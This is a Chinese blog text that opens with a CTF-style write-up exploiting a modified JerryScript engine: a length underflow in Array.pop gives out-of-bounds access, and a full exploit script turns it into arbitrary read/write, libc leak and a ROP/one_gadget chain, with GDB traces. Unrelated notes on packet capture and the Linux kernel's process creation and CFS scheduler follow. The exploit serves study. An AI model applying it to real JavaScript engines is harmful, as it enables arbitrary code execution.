在 IDA 中找到对应的位置：

调用 ecma_delete_fast_array_properties 的参数被修改了（a2-1 -> a2-2）

由于原文件没有符号，所以直接用 bindiff 对照断点位置：

1 2	a5ae2: jerryx_print_value /* 在print执行时触发 / 710ab: ecma_builtin_array_prototype_object_pop / 断点触发时,用'p/x $rdi+0x10'来获取oob数组的地址 */

在开始入侵之前要先了解一些 JavaScript 的知识

Array

Array 的结构体如下：（只挑出了 Array 会使用到的内容）

typedef struct
{
  ecma_object_descriptor_t type_flags_refs;
  jmem_cpointer_t gc_next_cp;
  union
  {
    jmem_cpointer_t property_list_cp; /* 数组的存储区域 */
    ...
  } u1;

  union
  {
    jmem_cpointer_t prototype_cp; /* 数组的原型所在位置 */
    ...
  } u2;
} ecma_object_t;

typedef struct
{
  ecma_object_t object; 
  ...
  union
  {
    ...
    struct
    {
      uint32_t length; /* 数组的长度 */
      uint32_t length_prop_and_hole_count; 
    } array;
  } u;
} ecma_extended_object_t;

有几个属性值解释一下：

array->object.u1.property_list_cp：数组的存储区域
array->object.u2.prototype_cp：数组的原型所在位置
array->u.array.length：数组的长度

我们来看一个具体的实例：

1	let a = [1,2,3,4,5,6,7,8]

在 GDB 中查看：

pwndbg> x/20xg 0x555555624f30
0x555555624f30:	0x0056005c00560014	0x000000ec00000008
0x555555624f40:	0x0000002000000010	0x0000004000000030
0x555555624f50:	0x0000006000000050	0x0000008000000070

property_list_cp 和 prototype_cp 的值分为 0x5c 和 0x56，它们在取值的时候，会调用一个函数 jmem_decompress_pointer 进行转换
而 array 的寻址方式就是 jerry_globals_heap + array->u1.property_list_cp << 3（其他的条目同理），通过这种方法，就能够减小内存开销（其实就有点像 shadow memory）

ArrayBuffer 和 DataView

ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区

ArrayBuffer 不能直接操作，而是要通过类型数组对象或 DataView 对象来操作，它们会将缓冲区中的数据表示为特定的格式，并通过这些格式来读写缓冲区的内容

typedef struct
{
  ecma_extended_object_t extended_object; /* 扩展对象部分 */
  void *buffer_p; /* 指向数组缓冲区对象的后备存储的指针 */
  void *arraybuffer_user_p; /* 传递给免费回调的用户指针 */
} ecma_arraybuffer_pointer_t;

typedef struct
{
  ecma_extended_object_t header; /* 头部分 */
  ecma_object_t *buffer_p; /* [ViewedArrayBuffer]内部槽 */
  uint32_t byte_offset; /* [ByteOffset]内部槽 */
} ecma_dataview_object_t;

ArrayBuffer 和 DataView 这两个对象在 JavaScript 引擎漏洞挖掘中经常出现

这里，我们注意到：

ArrayBuffer 的结构体存在 buffer_p 这样的一个指针，它直接指向了 ArrayBuffer 所控制的内存区域（而不是像其他对象那样，通过偏移计算来得到所控制的内存区域）
DataView 的结构体中，buffer_p 则是指向 ArrayBuffer->buffer_p

Array Out-Of-Boundary（数组越界）

数组索引的边界检查是防止数组访问越界的有效手段，但是对数组索引的边界检查是比较耗时的，因此 JIT 引擎为了提高 Javascript 代码运行效率，对数组的边界检查在一定条件下进行了优化

Bound Check Optimize（边界检查优化）主要分为 Bound Check Elimination（绑定检查消除）和 Bound Check Hoist（绑定检查提升）两部分，错误的 Elimination 或者 Hoist 都会引发 Array Out-Of-Boundary (OOB) 漏洞

我们现在回到程序的漏洞点：

ecma_delete_fast_array_properties 的第二个参数改为 len - 2
如果 len 的值为 “1”，就会被减为 “-1”，发生符号溢出

案例如下：

1
2
3

a = [1]; /* len=1 */
a.pop(); /* 触发ecma_delete_fast_array_properties,导致len=-1 */
print(a.length);

1
2
3

➜  pwn ./jerry ./pwn2.js 
4294967295 /* 0xffffffff -> len=-1 */
[1]    9011 segmentation fault  ./jerry ./pwn2.js

触发 Array OOB

参考：Chakra漏洞调试笔记4——Array OOB

入侵思路

完整的 exp 如下：

function hex(i){return "0x" + i.toString(16).padStart(16, '0');}
function aar(addr, dv1, dv2){
    dv1.setBigUint64(0, addr, true);
    if(dv2.buffer){
        return dv2.getBigUint64(0, true);
    }
    return 0;
}
function aaw(addr, value, dv1, dv2){
    dv1.setBigUint64(0, addr, true);
    dv2.setBigUint64(0, value, true);
}
let a = [0x31];
a1 = new ArrayBuffer(0x1000);
d1 = new DataView(a1);
d1.setUint32(0, 0x41414141, true);
a2 = new ArrayBuffer(0x1000);
d2 = new DataView(a2);
d2.setUint32(0, 0x42424242, true);
a.pop();
a[0x2c] = 0x5562526;
puts_got            = Number(aar(0x555555621e08, d1, d2));
libc_base           = puts_got - 0x84420;
environ             = libc_base + 0x1ef600;
stack               = Number(aar(environ, d1, d2));
libc_start_main_ret = stack - 0x108;
libc_start_main     = Number(aar(libc_start_main_ret, d1, d2));
aaw(libc_start_main_ret, 0x555555554000 + 0xa9a9, d1, d2);  // pop r12, rbp
aaw(libc_start_main_ret + 8, 0, d1, d2);
aaw(libc_start_main_ret + 16, 0, d1, d2);
aaw(libc_start_main_ret + 24, libc_base + 0xe3afe, d1, d2);  // one_gadget
print(hex(puts_got));
print(hex(libc_base));
print(hex(stack));
print(hex(libc_start_main));
print(hex(Number(aar(0x555555624000, d1, d2))));

因为这些函数和变量都会改变堆布局，所以我直接调试 exp

在 ecma_builtin_array_prototype_object_pop（710ab）打断点，然后使用 p/x $rdi+0x10 命令就可以把发生 OOB 的数组 a 给打印出来：

pwndbg> p/x $rdi+0x10
$1 = 0x555555624f80
pwndbg> x/20xg 0x555555624f80-0x10
0x555555624f70:	0x005e0064005e0014	0x000000ecffffffff /* length */
0x555555624f80:	0x0025000000c80038	0x0000000100200004
0x555555624f90:	0x0000000000000000	0x42d5555558878200
0x555555624fa0:	0x0025006e00620018	0x0000000100000012
0x555555624fb0:	0x000003c300587d37	0x012f007200000343

property_list_cp 和 prototype_cp 的值分为 0x64 和 0x5e

然后在 jerryx_print_value（a5ae2）打断点，执行到 print(a.length) 前停下，打印两个 DataView 对象的位置：

pwndbg> search -s AAAA
[heap]          0x5555556257b0 0x41414141 /* 'AAAA' */
pwndbg> search -t qword 0x5555556257b0
[heap]          0x555555625030 0x5555556257b0
    
pwndbg> search -s BBBB
[heap]          0x5555556267b0 0x42424242 /* 'BBBB' */
pwndbg> search -t qword 0x5555556267b0
[heap]          0x555555625260 0x5555556267b0

a1->buffer_p(0x5555556257b0)：AAAA
d1->buffer_p(0x555555625030)：0x5555556257b0
a2->buffer_p(0x5555556267b0)：BBBB
d2->buffer_p(0x555555625260)：0x5555556267b0

如果我们想利用 a 的溢出点，必须先知道 jerry_global_heap 才能计算 property_list_cp ，而源程序没有符号表，我们只能通过对比源程序和我们自己编译的程序来获取这个值：（不知道的偏移都可以利用这个方法来解决）

pwndbg> telescope 0x55555566a000+0x17b0
00:0000│  0x55555566b7b0 (jerry_global_heap+2896) ◂— 0x42424152 /* 'RABB' */
01:0008│  0x55555566b7b8 (jerry_global_heap+2904) ◂— 0x0
pwndbg> telescope 0x55555566b7b0-2896
00:0000│  0x55555566ac60 (jerry_global_heap) ◂— 0x8e8
01:0008│  0x55555566ac68 (jerry_global_heap+8) ◂— 0x20010800be0031 /* '1' */
02:0010│  0x55555566ac70 (jerry_global_heap+16) ◂— 0x100000066 /* 'f' */

pwndbg> telescope 0x555555624000+0x17b0
00:0000│  0x5555556257b0 ◂— 0x41414141 /* 'AAAA' */
01:0008│  0x5555556257b8 ◂— 0x0
pwndbg> telescope 0x5555556257b0-2896
00:0000│  0x555555624c60 ◂— 0x658
01:0008│  0x555555624c68 ◂— 0x2000d500be0031 /* '1' */
02:0010│  0x555555624c70 ◂— 0x100000066 /* 'f' */

根据公式 jerry_globals_heap + array->u1.property_list_cp << 3 进行计算：

1 2	In [25]: hex(0x555555624c60+(0x64<<3)) Out[25]: '0x555555624f80'

修改前：

pwndbg> telescope 0x555555624f80
00:0000│  0x555555624f80 ◂— 0x8800000310
01:0008│  0x555555624f88 ◂— 0x8800000088
... ↓     2 skipped
04:0020│  0x555555624fa0 ◂— 0x25006e00620018
05:0028│  0x555555624fa8 ◂— 0x100000012
06:0030│  0x555555624fb0 ◂— 0x3c300587d37 /* '7}X' */
07:0038│  0x555555624fb8 ◂— 0x12f007200000343
08:0040│  0x555555624fc0 ◂— 0x20000000680011
09:0048│  0x555555624fc8 ◂— 0x100000040 /* '@' */
0a:0050│  0x555555624fd0 ◂— 0x10000078c8
0b:0058│  0x555555624fd8 ◂— 0x10a01a900000363
0c:0060│  0x555555624fe0 ◂— 0xe40c292c0000002b /* '+' */
0d:0068│  0x555555624fe8 ◂— 0x605040477616100
0e:0070│  0x555555624ff0 ◂— 0x1c24b8a70000002b /* '+' */
0f:0078│  0x555555624ff8 ◂— 0x100f0e0e0d316101
10:0080│  0x555555625000 ◂— 0x881d13e60000002b /* '+' */
11:0088│  0x555555625008 ◂— 0x1c1b1a1a19316401
12:0090│  0x555555625010 ◂— 0xb400b20074008b
13:0098│  0x555555625018 ◂— 0xd300d000cd0076 /* 'v' */
14:00a0│  0x555555625020 ◂— 0x6c0000006c0012
15:00a8│  0x555555625028 ◂— 0x100000000319
16:00b0│  0x555555625030 —▸ 0x5555556257b0 ◂— 0x41414141 /* 'AAAA' */
17:00b8│  0x555555625038 ◂— 0x0

修改后：

pwndbg> telescope 0x555555624f80
00:0000│  0x555555624f80 ◂— 0x25000000c80018
01:0008│  0x555555624f88 ◂— 0x100200004
02:0010│  0x555555624f90 ◂— 0x0
03:0018│  0x555555624f98 —▸ 0x5555556253b8 —▸ 0x555555625168 —▸ 0x5555556253b0 —▸ 0x5555556253c0 ◂— ...
04:0020│  0x555555624fa0 ◂— 0x25006e00620018
05:0028│  0x555555624fa8 ◂— 0x100000012
06:0030│  0x555555624fb0 ◂— 0x3c300587d37 /* '7}X' */
07:0038│  0x555555624fb8 ◂— 0x12f007200000343
08:0040│  0x555555624fc0 ◂— 0x20000000680011
09:0048│  0x555555624fc8 ◂— 0x100000040 /* '@' */
0a:0050│  0x555555624fd0 ◂— 0x10000078c8
0b:0058│  0x555555624fd8 ◂— 0x10a01a900000363
0c:0060│  0x555555624fe0 ◂— 0xe40c292c0000002b /* '+' */
0d:0068│  0x555555624fe8 ◂— 0x605040477616100
0e:0070│  0x555555624ff0 ◂— 0x1c24b8a70000002b /* '+' */
0f:0078│  0x555555624ff8 ◂— 0x100f0e0e0d316101
10:0080│  0x555555625000 ◂— 0x881d13e60000002b /* '+' */
11:0088│  0x555555625008 ◂— 0x1c1b1a1a19316401
12:0090│  0x555555625010 ◂— 0xb400b20074008b
13:0098│  0x555555625018 ◂— 0xd300d000cd0076 /* 'v' */
14:00a0│  0x555555625020 ◂— 0x6c0000006c0012
15:00a8│  0x555555625028 ◂— 0x100000000319
16:00b0│  0x555555625030 —▸ 0x555555625260 —▸ 0x7fffffffde60 —▸ 0x7ffff7ea2afe (execvpe+638) ◂— mov    rdx, r12
17:00b8│  0x555555625038 ◂— 0x0

这个 a[0x2c] 对应的地址就是 0x555555625030：

1 2	pwndbg> telescope 0x555555624f80+0x4*0x2c 00:0000│ 0x555555625030 —▸ 0x555555625260 —▸ 0x7fffffffde60 —▸ 0x7ffff7ea2afe (execvpe+638) ◂— mov rdx, r12

0x5555556257b0（a1->buffer_p）被修改为了 0x555555625260（d2->buffer_p）
这下 a1->buffer_p 和 a2->buffer_p 都指向 d2->buffer_p，就可以实现 WAA 和 RAA 了

最后的问题就是 WAA 和 RAA 的实现：

function aar(addr, dv1, dv2){
    dv1.setBigUint64(0, addr, true); /* 先写入一个地址 */
    if(dv2.buffer){
        return dv2.getBigUint64(0, true); /* 返回该地址中的数据 */
    }
    return 0;
}
function aaw(addr, value, dv1, dv2){
    dv1.setBigUint64(0, addr, true); /* 先写入一个地址 */
    dv2.setBigUint64(0, value, true); /* 再向这个地址中写入数据 */
}

最后就是用 WWR 从 environ 中读出栈地址，然后在 libc_start_main 的返回值上构造 ROP 链，最后执行 one_gadget

PS：在交互时需要把 \n 去掉，还有注释也要去掉

小结：

调了好多天终于弄好了，现在对这种 JavaScript 引擎的题目应该是有所了解了，主要就是靠 ArrayBuffer 和 DataView 这两个函数

网络相关知识：网络抓包原理

Posted on 2022-08-19 Edited on 2022-10-21 In Knowledge 2.3k 2 mins.

手机 App 抓包

要实现对 App 的网络数据抓包，需要监控 App 与服务器交互之间的网络节点，监控其中任意一个网络节点（网卡），获取所有经过网卡中的数据，对这些数据按照网络协议进行解析，这就是抓包的基本原理

但是中间网络节点，不受我们控制，所以基本无法实现抓包的，只能在客户端和服务端进行抓包

通常我们监控本地网卡数据，如下图：

本地网络 指的是WIFI的路由，如果直接抓路由器的包还是比较麻烦的，因此我们会在 手机 和 本地路由 之间加一层 代理服务，这样只要抓代理服务的网络数据即可：

Linux 抓包

Linux 抓包是通过 注册一种虚拟的底层网络协议 来完成对网络报文（准确的说是网络设备）消息的处理权

当网卡接收到一个网络报文之后，它会遍历系统中所有已经注册的网络协议（例如，以太网协议，x25协议处理模块）来尝试进行报文的解析处理（这一点和一些文件系统的挂载相似，就是让系统中所有的已经注册的文件系统来进行尝试挂载，如果哪一个认为自己可以处理，那么就完成挂载）
当抓包模块把自己伪装成一个网络协议的时候，系统在收到报文的时候就会给这个伪协议一次机会，让它来对网卡收到的报文进行一次处理，此时该模块就会趁机对报文进行窥探，也就是把这个报文完完整整的复制一份，假装是自己接收到的报文，汇报给抓包模块

具体是使用 libpcap 获取被监听网络接口的数据

在 Linux 内核中，使用网络过滤器的数据包捕获是通过附加钩子来完成的：

可以根据需要在路径中的不同位置指定钩子，后跟内核网络数据包
可以在此处找到组织结构图，其中包含路线后跟包裹以及钩子的可能区域

钩子 hook 是通过以下结构定义的：

typedef unsigned int nf_hookfn(void *priv,
			       struct sk_buff *skb,
			       const struct nf_hook_state *state);

struct nf_hook_ops {
      nf_hookfn               *hook; /* 捕获网络数据包(作为结构发送的数据包)时,调用的处理程序(该字段是传递给处理程序的私有信息) */
      struct net_device       *dev; /* 要捕获的设备(网络接口) */
      void                    *priv; 
      u_int8_t                pf; /* 包装类型(PF_INET等) */
      unsigned int            hooknum; /* hook编号 */
      int                     priority; /* 优先级 */
};

钩子函数 hook 的签名中有一个 nf_hook_state 结构体，用于描述 hook 的状态信息，关键条目如下：

struct nf_hook_state {
	unsigned int hook;	   /* hook编号 */
	u_int8_t pf; 		  /* 包装类型 */
	struct net_device *in; /* 输入接口 */
	struct net_device *out; /* 输出接口 */
	struct sock *sk; /* 对应的sock(INET套接字) */
	struct net *net;  /* 对应的net(内核网络命名空间) */
	int (*okfn)(struct net *, struct sock *, struct sk_buff *);
};

Linux内核学习笔记（持续更新）

Posted on 2022-08-18 Edited on 2023-04-02 In Knowledge 87k 1:19

Linux 内核简述

Linux 的内核虽然是基于单内核的，但是经过这么多年的发展，也具备微内核的一些特征（体现了 Linux 实用至上的原则）

主要有以下特征：

使用 GNU C 库（和标准C库有一定的区别）
支持动态加载内核模块
支持对称多处理（SMP）
内核可以抢占（preemptive），允许内核运行的任务有优先执行的能力
不区分线程和进程

Linux 内核源码的结构

目录	说明
arch	特定体系结构的代码
block	块设备I/O层
crypo	加密API
Documentation	内核源码文档
drivers	设备驱动程序
firmware	使用某些驱动程序而需要的设备固件
fs	VFS和各种文件系统
include	内核头文件
init	内核引导和初始化
ipc	进程间通信代码
kernel	像调度程序这样的核心子系统
lib	同样内核函数
mm	内存管理子系统和VM
net	网络子系统
samples	示例，示范代码
scripts	编译内核所用的脚本
security	Linux 安全模块
sound	语音子系统
usr	早期用户空间代码（所谓的initramfs）
tools	在Linux开发中有用的工具
virt	虚拟化基础结构

进程和线程

进程就是处于执行期的程序，包括：可执行代码，打开的文件，挂起的信号，内核内部的数据，处理器状态，一个或者多个具有内存映射的空间，一个或者多个执行线程，还有存放全局变量的代码段

内核把进程表列存放在叫做 任务队列(task_list) 的双向循环链表中，链表中的每个类型都是 task_struct（该结构体相对较大，包含一个具体进程的所有信息，通常存放在该进程内核栈的末尾）

Windows：开启的一个程序就是一个线程，它只是一个容器，用于装载系统资源，它并不执行代码，它是系统资源分配的最小单元，而在进程中执行代码的是线程，是代码执行的最小单位
Linux：Linux 中的进程于 Windows 相比是很轻量级的，而且不严格区分进程和线程，Linux 的进程就是 Windows 中的线程，线程就是轻量级的进程

Linux 中的第一个进程

Linux 内核在系统启动的最后阶段会启动 init 进程，该进程会读取系统的初始化脚本，并执行其他相关程序，最终启动系统

所有其他进程都是 PID 为“1”的 init 进程的后代

Linux 进程的状态

TASK_RUNNING（运行）：正在运行，或者在运行队列中等待运行
TASK_INTERRUPTIBLE（可中断）：正在睡眠（被阻塞），可以接受信号而被唤醒
TASK_UNINTERRUPTIBLE（不可中断）：正在睡眠（被阻塞），不能被唤醒
TASK_TRACED（被追踪）：被其他进程跟踪（例如：通过 ptrace 对调试程序进行跟踪）
- 强大的调试工具 gdb 和 Linux 系统调用和信号跟踪工具 strace，都是用 ptrace 实现的
- ptrace 是一个系统调用，它提供了一种方法来让‘父’进程可以观察和控制其它进程的执行，检查和改变其核心映像以及寄存器，主要用来实现断点调试和系统调用跟踪
TASK_STOPPED（停止）：即将停止，然后被回收

Linux 进程的创建

Linux 中创建进程与其他系统有个主要区别，Linux 中创建进程分2步：fork() 和 exec()

fork：通过拷贝当前进程创建一个子进程
exec：读取可执行文件，将其载入到内存中运行

Copy On Write，写时复制：

如果有多个调用者（callers）同时请求相同资源（如内存或磁盘上的数据存储），他们会获取指向相同资源的指针
直到某个调用者试图修改资源的内容时，系统才会真正复制一份专用副本（private copy）给该调用者，而其他调用者所见到的最初的资源仍然保持不变

也就是说，在一份共享资源，被多个调用者共同消费时，若出现修改资源的操作，我们并不直接对资源进行修改，而是对将资源修改操作划分为三个步骤：

第一：先将资源以 [页为单位] 进行复制，复制出一个新的资源备份
第二：往这个资源备份里面添加新的数据
第三：将原先资源地址指向资源备份的地址

Copy On Write 对 fork 的优化：

减少分配和复制大量资源时带来的瞬间延时
fork 并不是所有的页面都需要复制，父进程的代码段和只读数据段都不被允许修改，所以无需复制

Copy On Write 的原理：

fork() 之后，kernel 把父进程中所有的内存页的权限都设为 read-only，然后子进程的地址空间指向父进程
当父子进程都只读内存时，相安无事，当其中某个进程写内存时，CPU硬件检测到内存页是 read-only 的，于是触发页异常中断（page-fault），陷入 kernel 的一个中断例程
中断例程中，kernel 就会把触发的异常的页复制一份，于是父子进程各自持有独立的一份

创建的流程：

系统调用 clone 的底层会调用 fork()，它的又底层是 _do_fork()，在其中会调用 copy_process()

1 2	p = copy_process(clone_flags, stack_start, stack_size, child_tidptr, NULL, trace, tls, NUMA_NO_NODE); /* task_struct p /

调用 dup_task_struct() 为新进程分配内核栈，task_struct 等，其中的内容与父进程相同

1	p = dup_task_struct(current, node); /* task_struct p /

check 新进程（进程数目是否超出上限等）
清理新进程的信息（比如 PID 置0等），使之与父进程区别开
新进程状态置为 TASK_UNINTERRUPTIBLE
更新 task_struct 的 flags 成员
执行调度程序相关设置，将此任务分配给 CPU，然后调用 copy 系列函数复制所有进程信息

shm_init_task(p);
retval = security_task_alloc(p, clone_flags);
if (retval)
	goto bad_fork_cleanup_audit;
retval = copy_semundo(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_security;
retval = copy_files(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_semundo;
retval = copy_fs(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_fs;
retval = copy_signal(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_sighand;
retval = copy_mm(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_signal;
retval = copy_namespaces(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_mm;
retval = copy_io(clone_flags, p);
if (retval)
	goto bad_fork_cleanup_namespaces;
retval = copy_thread_tls(clone_flags, stack_start, stack_size, p, tls);
if (retval)
	goto bad_fork_cleanup_io;

调用 alloc_pid() 为新进程分配一个有效的PID（copy_process() 返回）
根据 clone() 的参数标志 clone_flags，拷贝或共享相应的信息
做一些扫尾工作并返回新进程指针

用户态创建进程的 fork() 函数实际上最终是调用 clone() 系统调用，创建线程和进程的步骤一样，只是最终传给 clone() 的参数不同

► 0x7ffff7ea1f3d <fork+77>    syscall  <SYS_clone>
       fn: 0x1200011
       child_stack: 0x0
       flags: 0x0
       arg: 0x7ffff7fb2810 ◂— 0x0
       vararg: 0x0

在内核中创建的内核线程与普通的进程之间还有个主要区别在于：

内核线程没有独立的地址空间，它们只能在内核空间运行
这与之前提到的 Linux 内核是个单内核有关

fork 的变种：vfork

除了不拷贝父进程的页表项以外，vfork 和 fork 的功能相同，子进程作为父进程的一个单独线程，并在父进程的地址空间里运行
创建的子进程会执行完后，才到父进程执行

Linux 线程的创建

在 Linux 中，线程被视为一个与其他进程共享某些资源的进程，每个线程会单独占有一个 task_struct 结构体

Linux 线程和进程的底层都是系统调用 clone（上文已经介绍了 clone 的实现），就是传入的参数不同：

1
2
3

clone(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND , 0); /* 创建线程 */
clone(SIGCHLD , 0); /* fork */
clone(CLONE_VFORK | CLONE_VM | SIGCHLD, 0); /* vfork */

参数标志	含义
CLONE_SETTID	将TID回写至用户空间
CLONE_SETTLS	为子进程创建新的TLS
CLONE_SIGHAND	父子进程共享信号处理函数以及被阻断的信号
CLONE_FILES	父子进程共享打开的文件
CLONE_FS	父子进程共享文件系统信息
CLONE_SYSVSEM	父子进程共享System V SEM_UNDO语义
CLONE_THREAD	父子进程放入相同的线程组
CLONE_VFORK	调用`vfork`，父进程准备睡眠等待子进程将其唤醒
CLONE_NEWNS	为子进程创建新的命名空间
CLONE_STOP	以TASK_STOPPED状态开始进程
CLONE_VM	父子进程共享地址空间

Linux 进程的终止

进程的终止一般是显示地调用 exit，或者隐式地从某个主函数中返回，和创建进程一样，终结一个进程同样有很多步骤：

子进程上的操作：（do_exit）

设置 task_struct 中的标识成员设置为 PF_EXITING
调用 del_timer_sync() 删除内核定时器, 确保没有定时器在排队和运行
调用 exit_mm() 释放进程占用的 mm_struct
调用 sem__exit() ，使进程离开等待 IPC 信号的队列
调用 exit_files() 和 exit_fs()，释放进程占用的文件描述符和文件系统资源
把 task_struct 的 exit_code 设置为进程的返回值
调用 exit_notify() 向父进程发送信号，并把自己的状态设为 EXIT_ZOMBIE
切换到新进程继续执行

子进程进入 EXIT_ZOMBIE 之后，虽然永远不会被调度，关联的资源也释放掉了，但是它本身占用的内存还没有释放（比如：创建时分配的内核栈，task_struct 结构等），这些由父进程来释放

父进程上的操作：（release_task）

父进程受到子进程发送的 exit_notify() 信号后，将该子进程的进程描述符和所有进程独享的资源全部删除

从上面的步骤可以看出，必须要确保每个子进程都有父进程，如果父进程在子进程结束之前就已经结束了会怎么样呢？

子进程在调用 exit_notify() 时已经考虑到了这点
如果子进程的父进程已经退出了，那么子进程在退出时，exit_notify() 函数会先调用 forget_original_parent() ，然后再调用 find_new_reaper() 来寻找新的父进程
find_new_reaper() 函数先在当前线程组中找一个线程作为父亲，如果找不到，就让 init 做父进程（init 进程是在 linux 启动时就一直存在的）

进程的调度

现在的操作系统都是 抢占式多任务 的，为了能让更多的任务能同时在系统上更好的运行，需要一个管理程序来管理计算机上同时运行的各个任务（也就是进程）

抢占式多任务：由调度模式来决定什么时候停止一个进程的运行，以便其他进程可以得到运行机会（这个强制挂起的动作就是抢占）
非抢占式多任务：除非进程自己主动停止运行，否则它会一直执行（这个主动挂起的操作就是让步）

这个管理程序就是调度程序，它的功能说起来很简单：

决定哪些进程运行，哪些进程等待
决定每个进程运行多长时间

总之，调度是一个平衡的过程：

一方面，它要保证各个运行的进程能够最大限度的使用CPU（即尽量少的切换进程，进程切换过多，CPU的时间会浪费在切换上）
另一方面，保证各个进程能公平的使用CPU（即防止一个进程长时间独占CPU的情况）

IO消耗型进程&CPU消耗型进程

IO消耗型进程：用大部分时间来提交/等待 IO 请求，这种进程经常处于可运行状态，但通常都是运行短短的一会儿

CPU消耗型进程：把大部分时间用在执行代码上，除非被抢占，否则它们通常都一直在不停地运行，因为它们对 IO 的需求很小

进程调度策略往往要在这两个矛盾中间寻找平衡：

进程响应迅速
最大系统利用率

时间片

决定哪个进程运行以及运行多长时间都和进程的优先级有关，但是对于调度程序来说，并不是运行一次就结束了，还必须知道间隔多久进行下次调度

为了确定一个进程到底能持续运行多长时间，调度中还引入了时间片的概念，也可以认为是进程在下次调度发生前运行的时间（除非进程主动放弃CPU，或者有实时进程来抢占CPU）

时间片的大小设置并不简单：

设大了，系统响应变慢（调度周期长）
设小了，进程频繁切换带来的处理器消耗
默认的时间片一般是10ms

通常来说：

IO消耗型进程不需要太长的时间片
CPU消耗型进程则希望时间片越长越好

完全公平调度器 CFS

前面说过，调度功能就是决定哪个进程运行以及进程运行多长时间

进程的优先级有2种度量方法，一种是 nice 值，一种是实时优先级：（实时优先级 > nice 值）

nice 值的范围是 -20～19，值越大优先级越低，也就是说 nice 值为 -20 的进程优先级最大
实时优先级的范围是 0～99，与 nice 值的定义相反，实时优先级是值越大优先级越高

实时进程都是一些对响应时间要求比较高的进程，因此系统中有实时优先级高的进程处于运行队列的话，它们会抢占一般的进程的运行时间

介绍下 CFS：

CFS 使用红黑树结构，来存储要调度的任务队列
每个节点代表了一个要调度的任务，节点的 key 即为虚拟时间（vruntime），虚拟时间由这个人物的运行时间计算而来（CFS 不再有时间片的概念，取而代之的是 vruntime）
key 越小，也就是 vruntime 越小的话，红黑树对应的节点就越靠左
CFS scheduler 每次都挑选最左边的节点作为下一个要运行的任务，这个节点是“缓存的”，由一个特殊的指针指向，不需要进行 O(logn) 遍历来查找，也因此，CFS 搜索的时间是 O(1)

vruntime(key) 的计算公式：

1	vruntime += 实际运行时间(time process run) * 1024 / 进程权重(load weight of this process)

实际运行时间：该程序已经运行了多久
进程权重：根据任务的 nice 值进行索引

static const int prio_to_weight[40] = {
 /* -20 */     88761,     71755,     56483,     46273,     36291,
 /* -15 */     29154,     23254,     18705,     14949,     11916,
 /* -10 */      9548,      7620,      6100,      4904,      3906,
 /*  -5 */      3121,      2501,      1991,      1586,      1277,
 /*   0 */      1024,       820,       655,       526,       423,
 /*   5 */       335,       272,       215,       172,       137,
 /*  10 */       110,        87,        70,        56,        45,
 /*  15 */        36,        29,        23,        18,        15,
};

相当于 nice 和 weight 是等价的，但是不同 nice 值的任务权重差别变大了

例子：现在我们有一个刚来的进程 [time=0，nice=0，priority=1024]：

1	vruntime += 0 * 1024 / 1024 = 10 /* vruntime有一个最小值min_vruntime */

vruntime 并不是无限小的，有一个最小值来限定 min_vruntime
假如新进程的 vruntime 初值为0的话，比老进程的值小很多，那么它在相当长的时间内都会保持抢占CPU的优势，老进程就要饿死了，这显然是不公平的

CFS 是这样做的：每个CPU的运行队列 cfs_rq 都维护一个 min_vruntime 字段，记录该运行队列中所有进程的 vruntime 最小值，新进程的初始 vruntime 值就以它所在运行队列的 min_vruntime 为基础来设置，与老进程保持在合理的差距范围内

对于新任务来说，vruntime = 0（任务：用于完成某个操作的一组 [进程,线程]，用 task_struct 结构体来描述）

调度器入口

进程调度器的主要入口是函数 schedule()：

asmlinkage __visible void __sched schedule(void)
{
	struct task_struct *tsk = current;

	sched_submit_work(tsk);
	do {
		preempt_disable();
		__schedule(false);
		sched_preempt_enable_no_resched();
	} while (need_resched());
}
EXPORT_SYMBOL(schedule);

schedule() 函数只是个外层的封装，实际调用的还是 __schedule() 函数
__schedule() 接受一个参数，该参数为 bool 型，false 表示非抢占，自愿调度，而 true 则相反
__schedule() 的实现大概可以分为四个部分：
- 针对当前进程的处理
- 选择下一个需要执行的进程
- 执行切换工作
- 收尾工作

static void __sched notrace __schedule(bool preempt)
{
	struct task_struct *prev, *next;
	unsigned long *switch_count;
	struct rq_flags rf;
	struct rq *rq;
	int cpu;

	cpu = smp_processor_id();
	rq = cpu_rq(cpu);
	prev = rq->curr;

	schedule_debug(prev);

	if (sched_feat(HRTICK))
		hrtick_clear(rq);

	local_irq_disable(); /* 禁止本地中断，防止与中断的竞争行为 */
	rcu_note_context_switch(preempt);

	rq_lock(rq, &rf);
	smp_mb__after_spinlock();

	rq->clock_update_flags <<= 1;
	update_rq_clock(rq); /* 更新本地runqueue的clock和clock_task变量，这两个变量代表runqueue的时间 */

	switch_count = &prev->nivcsw;
	if (!preempt && prev->state) {
		if (unlikely(signal_pending_state(prev->state, prev))) {
			prev->state = TASK_RUNNING;
		} else {
			deactivate_task(rq, prev, DEQUEUE_SLEEP | DEQUEUE_NOCLOCK);
			prev->on_rq = 0;

			if (prev->in_iowait) {
				atomic_inc(&rq->nr_iowait);
				delayacct_blkio_start();
			}

			if (prev->flags & PF_WQ_WORKER) {
				struct task_struct *to_wakeup;

				to_wakeup = wq_worker_sleeping(prev);
				if (to_wakeup)
					try_to_wake_up_local(to_wakeup, &rf);
			}
		}
		switch_count = &prev->nvcsw;
	}
	next = pick_next_task(rq, prev, &rf); /* 检查并选择调度类 */
	clear_tsk_need_resched(prev);
	clear_preempt_need_resched();
    
	if (likely(prev != next)) {
		rq->nr_switches++;
		rq->curr = next;
		++*switch_count;
		trace_sched_switch(preempt, prev, next);
		rq = context_switch(rq, prev, next, &rf);
	} else {
		rq->clock_update_flags &= ~(RQCF_ACT_SKIP|RQCF_REQ_SKIP);
		rq_unlock_irq(rq, &rf);
	}
	balance_callback(rq);
}

__schedule() 通常都需要和一个具体的调度类相关联，所以它会找到一个最高优先级的调度类（拥有自己的运行队列）
而 __schedule() 调用的 pick_next_task() 函数就实现了这个过程，它会以优先级为序，依次检查每一个调用类，选择最高优先级的进程

调度策略

Linux 的调度器是以模块的方式提供的，这种模块化的结构被称为 调度器类，它允许多种不同的可动态添加的调度算法共存

